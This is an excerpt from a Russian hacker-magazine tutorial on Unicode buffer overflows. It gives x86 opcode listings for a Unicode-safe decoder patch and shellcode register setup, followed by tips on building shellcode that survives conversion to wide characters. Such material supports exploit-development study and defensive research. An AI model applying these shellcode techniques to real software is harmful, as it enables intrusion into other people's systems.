Unicode-Buffer Overflows Мысла Владислав Спецвыпуск Xakep, номер #045, стр. 045-056-7 Патч для декодера + настройки ; Patch for decoder 00 45 00 add byte ptr [ebp],al C6 00 8A mov byte [eax],0x8A 00 45 00 add byte ptr [ebp],al 40 inc eax 00 45 00 add byte ptr [ebp],al 40 inc eax 00 45 00 add byte ptr [ebp],al C6 00 58 mov byte ptr byte [eax],0x58 00 45 00 add byte ptr [ebp],al 40 inc eax 00 45 00 add byte ptr [ebp],al 40 inc eax 00 45 00 add byte ptr [ebp],al C6 00 14 mov byte [eax],0x14 00 45 00 add byte ptr [ebp],al 40 inc eax 00 45 00 add byte ptr [ebp],al 40 inc eax 00 45 00 add byte ptr [ebp],al C6 00 E2 mov byte [eax],0xE2 00 45 00 add byte ptr [ebp],al 40 inc eax 00 45 00 add byte ptr [ebp],al Настройки для shell-кода: 40 inc eax 00 45 00 add byte ptr [ebp],al 6A 00 push 0 5B pop ebx 00 45 00 add byte ptr [ebp],al 43 inc ebx 00 45 00 add byte ptr [ebp],al 50 push eax 00 45 00 add byte ptr [ebp],al 5C pop esp 00 45 00 add byte ptr [ebp],al 6A 00 push 0 00 45 00 add byte ptr [ebp],al 59 pop ecx BA 00 34 00 FF mov edx,0FF003400h 00 F1 add cl,dh 00 45 00 add byte ptr [ebp],al Проверить приложение очень легко, в ASCII формате символ 0х00 обозначает конец строки, а если программа после получения 0x0041 обработает его как «А», значит, этот метод применим. Легко проверить, что для указания регистров eax, ebx,…, edi в операции отводится 3 бита. Следовательно, их можно использовать совместно с однобайтными операциями (push, pop, xchg и т.д.). Для операций вычитания достаточно добавлять числа, которые дальше 0х7FFFFFFF. Помни, что, когда изменяются младшие разряды r8, старшие остаются неизменными, то есть если ты добавишь к 0х00FF один байт 0х01, то результатом будет 0х0000, а не 0х0100. Осторожно относись к таким операциям. Нет проблем и с инкрементацией/декрементацией r32 регистров. 40 inc eax 48 dec eax Стек можно использовать для модификации памяти или чтения из нее. Манипулируя esp, можно делать сдвиги в числах на 1 байт – очень удобно, если надо изменить значение регистра на не UnicodeDW-формат. Иногда, если ты переполняешь данные в памяти, весьма возможно, что ты перезапишешь и esp. Может быть и так, что переполнение происходит не в стеке. В таких случаях тебе придется самостоятельно искать свое местоположение. |